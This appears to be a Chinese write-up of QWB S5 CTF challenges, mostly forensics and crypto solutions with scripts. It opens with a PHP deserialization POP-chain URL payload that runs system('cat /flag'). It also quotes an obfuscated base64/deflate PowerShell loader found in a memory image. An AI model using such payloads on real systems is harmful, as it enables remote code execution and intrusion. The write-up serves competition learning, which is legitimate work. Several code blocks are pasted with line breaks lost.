?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//
访问即可getflag

Misc

1.签到

flag{welcome_to_qwb_s5}

2.BlueTeaming

Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?(本题flag为非正式形式)

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

首先使用 volatility 将内存中的 register hive 导出来.

volatility -f memory.dmp --profile Win7SP1x64 hivelist
volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D .

题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 等等,最终能够找到恶意软件存放的注册表位置

搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication

恶意脚本是

& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT  SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()

flag是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

3.CipherMan

The attacker maliciously accessed the user’s PC and encrypted specific volumes. How to decrypt the volume?(本题flag为非正式形式)

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

volatility -f memory imageinfo

volatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt'

volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./

BitLocker 드라이브 암호화 복구 키복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100BitLocker驱动器加密恢复键
恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。
如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。
恢复密钥ID:168F1291-82C1-4B
整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker恢复键:
221628-533357-667392-449185-516428-718443-190674-375100

DiskGenius 解密

Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.

找了半天最后发现这个内容就是 flag。。

赛后发现是原题

Digital Forensic Challenge 2018 VOI200 문제 풀이

4.ExtremelySlow

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。

于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。

wireshark 直接导出的 JSON 里 http.response.line 包含多个,如果直接用 json.loads 只保留最后一个了,所以先要去掉无关的内容。

import json
import rewith open('http.json', 'r', encoding='utf-8') as fin:s = fin.read()re_num = re.compile(r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"')
re_nonnum = re.compile(r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)')
s1 = re.sub(re_nonnum, '', s)with open('http_sub.json', 'w', encoding='utf-8') as fout:fout.write(s1)http = json.loads(s1)
total = [b''] * 1987
# total = [''] * 1987
idx_list = []
for x in http:source = x['_source']layers = source['layers']# get datadata = layers['data']['data.data']data = bytes([int(data, 16)])# find indexn = layers['http']['http.response.line']idx = int(re.search(r'(\d+)-\d+/1987', n)[1])idx_list.append(idx)total[idx] = dataprint(total)
t = b''.join(total)
# t = ''.join(total)
# print(len(t)/2)
with open('decode.pyc', 'wb') as f:f.write(t)
# with open('decode1.pyc', 'w') as f:
#     f.write(t)

或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。

按 index 把这个合并就行,bash 脚本类似这样

tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null

根据文件内容得知是个 pyc 文件。

但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。

参考

Python’s magic numbers

Python Uncompyle6 反编译工具使用 与 Magic Number 详解

https://github.com/google/pytype/blob/master/pytype/pyc/magic.py

Understanding Python Bytecode

可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。

于是考虑拉个 py3.10 的镜像下来。

docker run --rm -it  python:3.10.0b2

根据 magic number 确定就是最新的 Python 3.10.0b2

但还是需要反编译这个pyc

uncompyle6 https://pypi.org/project/uncompyle6/ 目前只支持 python 2.4-3.8

https://github.com/rocky/python-decompile3 不行

dis 可

>>> import marshal, dis
>>> with open('decode.pyc','rb') as f:
...     metadata = f.read(16)
...     code_obj = marshal.load(f)
...
>>> dis.dis(code_obj)4           0 LOAD_CONST               0 (0)2 LOAD_CONST               1 (None)4 IMPORT_NAME              0 (sys)6 STORE_NAME               0 (sys)6           8 LOAD_CONST               0 (0)10 LOAD_CONST               2 (('sha256',))12 IMPORT_NAME              1 (hashlib)14 IMPORT_FROM              2 (sha256)16 STORE_NAME               2 (sha256)18 POP_TOP16          20 LOAD_CONST               3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>)22 LOAD_CONST               4 ('KSA')24 MAKE_FUNCTION            026 STORE_NAME               3 (KSA)26          28 LOAD_CONST               5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>)30 LOAD_CONST               6 ('PRGA')32 MAKE_FUNCTION            034 STORE_NAME               4 (PRGA)30          36 LOAD_CONST               7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>)38 LOAD_CONST               8 ('RC4')40 MAKE_FUNCTION            042 STORE_NAME               5 (RC4)33          44 LOAD_CONST               9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>)46 LOAD_CONST              10 ('xor')48 MAKE_FUNCTION            050 STORE_NAME               6 (xor)34          52 LOAD_NAME                7 (__name__)54 LOAD_CONST              11 ('__main__')56 COMPARE_OP               2 (==)58 POP_JUMP_IF_FALSE      139 (to 278)35          60 LOAD_CONST              12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f')62 STORE_NAME               8 (w)38          64 LOAD_CONST              13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~')66 STORE_NAME               9 (e)39          68 LOAD_CONST              14 (b'geo')70 STORE_NAME              10 (b)41          72 LOAD_CONST              15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141')74 STORE_NAME              11 (s)42          76 LOAD_CONST              16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1")78 STORE_NAME              12 (t)43          80 LOAD_CONST              17 (115)82 LOAD_CONST              18 (97)84 LOAD_CONST              19 (117)86 LOAD_CONST              20 (114)88 LOAD_CONST              21 ((2, 8, 11, 10))90 BUILD_CONST_KEY_MAP      492 STORE_NAME              13 (m)44          94 LOAD_CONST              22 (119)96 LOAD_CONST              23 (116)98 LOAD_CONST              24 (124)100 LOAD_CONST              25 (127)102 LOAD_CONST              26 ((3, 7, 9, 12))104 BUILD_CONST_KEY_MAP      4106 STORE_NAME              14 (n)45         108 LOAD_NAME               13 (m)110 LOAD_CONST              27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>)112 LOAD_CONST              28 ('<dictcomp>')114 MAKE_FUNCTION            0116 LOAD_NAME               14 (n)118 GET_ITER120 CALL_FUNCTION            1122 INPLACE_OR124 STORE_NAME              13 (m)47         126 LOAD_NAME               13 (m)128 LOAD_CONST              29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>)130 LOAD_CONST              30 ('<genexpr>')132 MAKE_FUNCTION            0134 LOAD_NAME               10 (b)136 GET_ITER138 CALL_FUNCTION            1140 INPLACE_OR142 STORE_NAME              13 (m)48         144 LOAD_NAME                5 (RC4)146 LOAD_NAME               15 (list)148 LOAD_NAME               16 (map)150 LOAD_CONST              31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>)152 LOAD_CONST              32 ('<lambda>')154 MAKE_FUNCTION            0156 LOAD_NAME               17 (sorted)158 LOAD_NAME               13 (m)160 LOAD_METHOD             18 (items)162 CALL_METHOD              0164 CALL_FUNCTION            1166 CALL_FUNCTION            2168 CALL_FUNCTION            1170 CALL_FUNCTION            1172 STORE_NAME              19 (stream)49         174 LOAD_NAME               20 (print)176 LOAD_NAME                6 (xor)178 LOAD_NAME                8 (w)180 LOAD_NAME               19 (stream)182 CALL_FUNCTION            2184 LOAD_METHOD             21 (decode)186 CALL_METHOD              0188 CALL_FUNCTION            1190 POP_TOP50         192 LOAD_NAME                0 (sys)194 LOAD_ATTR               22 (stdin)196 LOAD_ATTR               23 (buffer)198 LOAD_METHOD             24 (read)200 CALL_METHOD              0202 STORE_NAME              25 (p)52         204 LOAD_NAME                6 (xor)206 LOAD_NAME                9 (e)208 LOAD_NAME               19 (stream)210 CALL_FUNCTION            2212 STORE_NAME               9 (e)53         214 LOAD_NAME                6 (xor)216 LOAD_NAME               25 (p)218 LOAD_NAME               19 (stream)220 CALL_FUNCTION            2222 STORE_NAME              26 (c)54         224 LOAD_NAME                2 (sha256)226 LOAD_NAME               26 (c)228 CALL_FUNCTION            1230 LOAD_METHOD             27 (digest)232 CALL_METHOD              0234 LOAD_NAME               11 (s)236 COMPARE_OP               2 (==)238 POP_JUMP_IF_FALSE      131 (to 262)56         240 LOAD_NAME               20 (print)242 LOAD_NAME                6 (xor)244 LOAD_NAME               12 (t)246 LOAD_NAME               19 (stream)248 CALL_FUNCTION            2250 LOAD_METHOD             21 (decode)252 CALL_METHOD              0254 CALL_FUNCTION            1256 POP_TOP258 LOAD_CONST               1 (None)260 RETURN_VALUE33     >>  262 LOAD_NAME               20 (print)264 LOAD_NAME                9 (e)266 LOAD_METHOD             21 (decode)268 CALL_METHOD              0270 CALL_FUNCTION            1272 POP_TOP274 LOAD_CONST               1 (None)276 RETURN_VALUE>>  278 LOAD_CONST               1 (None)280 RETURN_VALUEDisassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>:8           0 LOAD_GLOBAL              0 (len)2 LOAD_FAST                0 (key)4 CALL_FUNCTION            16 STORE_FAST               1 (keylength)9           8 LOAD_GLOBAL              1 (list)10 LOAD_GLOBAL              2 (range)12 LOAD_CONST               1 (256)14 CALL_FUNCTION            116 CALL_FUNCTION            118 STORE_FAST               2 (S)10          20 LOAD_CONST               2 (0)22 STORE_FAST               3 (j)11          24 LOAD_GLOBAL              2 (range)26 LOAD_CONST               1 (256)28 CALL_FUNCTION            130 GET_ITER>>   32 FOR_ITER                29 (to 92)34 STORE_FAST               4 (i)12          36 LOAD_FAST                3 (j)38 LOAD_FAST                2 (S)40 LOAD_FAST                4 (i)42 BINARY_SUBSCR44 BINARY_ADD46 LOAD_FAST                0 (key)48 LOAD_FAST                4 (i)50 LOAD_FAST                1 (keylength)52 BINARY_MODULO54 BINARY_SUBSCR56 BINARY_ADD58 LOAD_CONST               1 (256)60 BINARY_MODULO62 STORE_FAST               3 (j)13          64 LOAD_FAST                2 (S)66 LOAD_FAST                3 (j)68 BINARY_SUBSCR70 LOAD_FAST                2 (S)72 LOAD_FAST                4 (i)74 BINARY_SUBSCR76 ROT_TWO78 LOAD_FAST                2 (S)80 LOAD_FAST                4 (i)82 STORE_SUBSCR84 LOAD_FAST                2 (S)86 LOAD_FAST                3 (j)88 STORE_SUBSCR90 JUMP_ABSOLUTE           16 (to 32)>>   92 LOAD_FAST                2 (S)94 RETURN_VALUEDisassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>:17           0 GEN_START                018           2 LOAD_CONST               1 (0)4 STORE_FAST               1 (i)19           6 LOAD_CONST               1 (0)8 STORE_FAST               2 (j)20          10 NOP21     >>   12 LOAD_FAST                1 (i)14 LOAD_CONST               3 (1)16 BINARY_ADD18 LOAD_CONST               4 (256)20 BINARY_MODULO22 STORE_FAST               1 (i)22          24 LOAD_FAST                2 (j)26 LOAD_FAST                0 (S)28 LOAD_FAST                1 (i)30 BINARY_SUBSCR32 BINARY_ADD34 LOAD_CONST               4 (256)36 BINARY_MODULO38 STORE_FAST               2 (j)23          40 LOAD_FAST                0 (S)42 LOAD_FAST                2 (j)44 BINARY_SUBSCR46 LOAD_FAST                0 (S)48 LOAD_FAST                1 (i)50 BINARY_SUBSCR52 ROT_TWO54 LOAD_FAST                0 (S)56 LOAD_FAST                1 (i)58 STORE_SUBSCR60 LOAD_FAST                0 (S)62 LOAD_FAST                2 (j)64 STORE_SUBSCR24          66 LOAD_FAST                0 (S)68 LOAD_FAST                0 (S)70 LOAD_FAST                1 (i)72 BINARY_SUBSCR74 LOAD_FAST                0 (S)76 LOAD_FAST                2 (j)78 BINARY_SUBSCR80 BINARY_ADD82 LOAD_CONST               4 (256)84 BINARY_MODULO86 BINARY_SUBSCR88 STORE_FAST               3 (K)19          90 LOAD_FAST                3 (K)92 YIELD_VALUE94 POP_TOP96 JUMP_ABSOLUTE            6 (to 12)Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>:28           0 LOAD_GLOBAL              0 (KSA)2 LOAD_FAST                0 (key)4 CALL_FUNCTION            16 STORE_FAST               1 (S)8 LOAD_GLOBAL              1 (PRGA)10 LOAD_FAST                1 (S)12 CALL_FUNCTION            114 RETURN_VALUEDisassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>:31           0 LOAD_GLOBAL              0 (bytes)2 LOAD_GLOBAL              1 (map)4 LOAD_CLOSURE             0 (stream)6 BUILD_TUPLE              18 LOAD_CONST               1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>)10 LOAD_CONST               2 ('xor.<locals>.<lambda>')12 MAKE_FUNCTION            8 (closure)14 LOAD_FAST                0 (p)16 CALL_FUNCTION            218 CALL_FUNCTION            120 RETURN_VALUEDisassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>:0 LOAD_FAST                0 (x)2 LOAD_DEREF               0 (stream)4 LOAD_METHOD              0 (__next__)6 CALL_METHOD              08 BINARY_XOR10 RETURN_VALUEDisassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>:0 BUILD_MAP                02 LOAD_FAST                0 (.0)>>    4 FOR_ITER                 9 (to 24)6 STORE_FAST               1 (x)8 LOAD_FAST                1 (x)10 LOAD_FAST                1 (x)12 LOAD_GLOBAL              0 (n)14 LOAD_FAST                1 (x)16 BINARY_SUBSCR18 BINARY_XOR20 MAP_ADD                  222 JUMP_ABSOLUTE            2 (to 4)>>   24 RETURN_VALUEDisassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>:0 GEN_START                02 LOAD_FAST                0 (.0)>>    4 FOR_ITER                 9 (to 24)6 STORE_FAST               1 (i)8 LOAD_FAST                1 (i)10 LOAD_METHOD              0 (bit_count)12 CALL_METHOD              014 LOAD_FAST                1 (i)16 BUILD_TUPLE              218 YIELD_VALUE20 POP_TOP22 JUMP_ABSOLUTE            2 (to 4)>>   24 LOAD_CONST               0 (None)26 RETURN_VALUEDisassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>:0 LOAD_FAST                0 (x)2 LOAD_CONST               1 (1)4 BINARY_SUBSCR6 RETURN_VALUE

人工手动逆向得到对应 python 代码大概如下

(有些地方没有完全按照字节码来写

import sys
from hashlib import sha256w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'    e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo's = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}def KSA(key):keylength = len(key)S = list(range(256))j = 0for i in range(256):j = (j + S[i] + key[i % keylength]) % 256S[i], S[j] = S[j], S[i]return Sdef PRGA(S):i = 0j = 0while True:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]K = S[(S[i] + S[j]) % 256]yield Kdef RC4(key):S = KSA(key)return PRGA(S)def xor(p,stream):return bytes(map(lambda x:x ^ stream.__next__(), p))# n = {2:115, 8:97, 11:117, 10:114}
# x:x^n[x] -> <dictcomp>
m |= {x: x^n[x] for x in n}
m |= ((i.bit_count(), i) for i in b)
stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))
# print welcome banner...
# print(stream)print(xor(w, stream).decode())
p = sys.stdin.buffer.readline()
e = xor(e, stream)
# print(e)
c = xor(p, stream)if sha256(c).digest() != s:  # errorprint(e.decode())exit()print(xor(t, stream))  # true?

大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据

可以发现,输入长度为 26 的时候,会提示说 Congratulations! Now you should now what the flag is,这个就是 t 的解密结果。而其他情况都不能正确解码。

于是就去找哪里还有这个输入。

然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。

一文让你完全弄懂Stegosaurus

https://github.com/AngelKitty/stegosaurus

需要魔改一下 header,python 3.10 长度是16.

另外输出的话不用转 str,直接 bytes 就好了。

或者脚本

result=""with open("py.txt","r") as f:    for line in f.readlines():        if line:            result+=line.strip()print(result)

可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag

w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f'e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~'b = b'geo's = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141't = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"m = {2:115, 8:97, 11:117, 10:114}n = {3:119, 7:116, 9:124, 12:127}def KSA(key):    key_length = len(key)    S = list(range(256))    j = 0    for i in range(256):        j = (j + S[i] + key[i % key_length]) % 256        S[i], S[j] = S[j], S[i]    return Sdef PRGA(S):    i = 0    j = 0    while True:        i = (i + 1) % 256        j = (j + S[i]) % 256        S[i], S[j] = S[j], S[i]        K = S[(S[i] + S[j]) % 256]        yield K

def RC4(key):    S = KSA(key)    return PRGA(S)

def xor(p,stream):    return bytes(map(lambda x:x ^ stream.__next__(), p))m.update({x:x^n[x] for x in n})mm = {5:103,4:101,6:111}m.update(mm)stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))banner = xor(w, stream).decode()wrong = xor(e, stream).decode()pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'result = xor(pp, stream)print(xor(t, stream))print(result)

得到长度为 26 的 bytes

b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'

最后将这个作为输入,然后让上述代码的 c 打印出来,即为 flag

flag{P0w5rFu1_0pEn_50urcE}

5.ISO1995

We follow ISO1995. ISO1995 has many problems though. One known problem is a time.

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

下载下来以 iso9660 挂载

mount -t iso9660 iso1995 /mnt/随便一个目录

发现有一堆名为 flag_fxxxxx (xxxx为数字)的文件。

用 ultraISO 把文件导出来,发现每个文件只有一个字符。

另外根据题目提示,查看 hex 发现他每个文件名之前的 FFFFFFFF 之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。

于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。

import rewith open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin:s = fin.read()s = s.strip().replace(' ', '').replace('\n', '')
print(s)# FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001
# FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001
# FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001re_num = re.compile(r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})')l = re_num.findall(s)len(l)
# 1024filename_list = []
for i in l:name = int(i[0], 16)# print(name)filename_list.append(name)decode_str2 = ''
for i in filename_list:filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}'with open(filename, 'r', encoding='utf-8') as f:x = f.read()print(x)decode_str2 += x
print(decode_str2)# !Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
# FLAG{Dir3ct0ry_jYa_n41}

FLAG{Dir3ct0ry_jYa_n41}

或者

import re

import struct

with open("iso1995", "rb") as f:

data = f.read()

pos_val = {}

res = []

for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):

index = x.start()-12

index = struct.unpack(">H", data[index:index+2])[0]

index_data = 0x26800 + (index * 0x800)

pos_val[index] = data[index_data:index_data+1].decode("utf-8")

for k, v in pos_val.items():

res.append(v)

print("".join(res))

赛后发现这个又是原题。。

2020 BingoCTF – ISO Solution.md

6.EzTime

Forensic.Find a file that a time attribute has been modified by a program. (本题flag为非正式形式)

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

解压得到 $LogFile、$MFT (Master File Table)

File – $LogFile (2)

NTFS Timestamp changes on Windows 10

Do you MFT? Here’s an MFT Overview.

https://github.com/dkovar/analyzeMFT

https://github.com/jschicht/LogFileParser

最后又找到了个 NTFS Log Tracker 工具

导入之后可以看到相关信息

找了老半天时间参数被修改的文件,最后发现是这个(

可以把时间导出来发现秒以下都是 000000…

或者

使用X-Ways-Forensics打开$MFT,专业工具->将镜像文件转为磁盘

调整记录更新时间排序即可发现,最新的被修改过的文件

提交的 flag 就是

{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png

7.问卷题

flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}

CRYPTO

1.guess_game

题目用的是Grain_v1,根据题意,需要猜32次guess

32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)

这里从paper

Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)

于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项

随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。

于是自0-160,遍历guess将所有可能的固定项确定下来。

1的固定项用2**16-1去与

0的固定相用0去或

然后组合,而不固定项记为2

得到一个集合table3.data

import randomimport stringimport hashlibimport sysfrom collections import deque#from secret import plist, bannerplist = [i for i in range(150)]import sysassert max(plist) < 160

class generator:    def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):        self.NFSR = deque()        self.LFSR = deque()

        for i in range(80):            self.NFSR.append(key[i])

        for i in range(64):            self.LFSR.append(iv[i])

        for i in range(64, 80):            self.LFSR.append(1)

        self.clock()

        if hint:            s = self.NFSR + self.LFSR            for i in range(k, k + m):                s[i] ^= 1            self.NFSR = deque(list(s)[:80])            self.LFSR = deque(list(s)[80:])

    def clock(self):        for i in range(160):            zi = self.PRGA()            self.NFSR[79] ^= zi            self.LFSR[79] ^= zi

    def PRGA(self):        x0 = self.LFSR[3]        x1 = self.LFSR[25]        x2 = self.LFSR[46]        x3 = self.LFSR[64]        x4 = self.NFSR[63]

        hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)

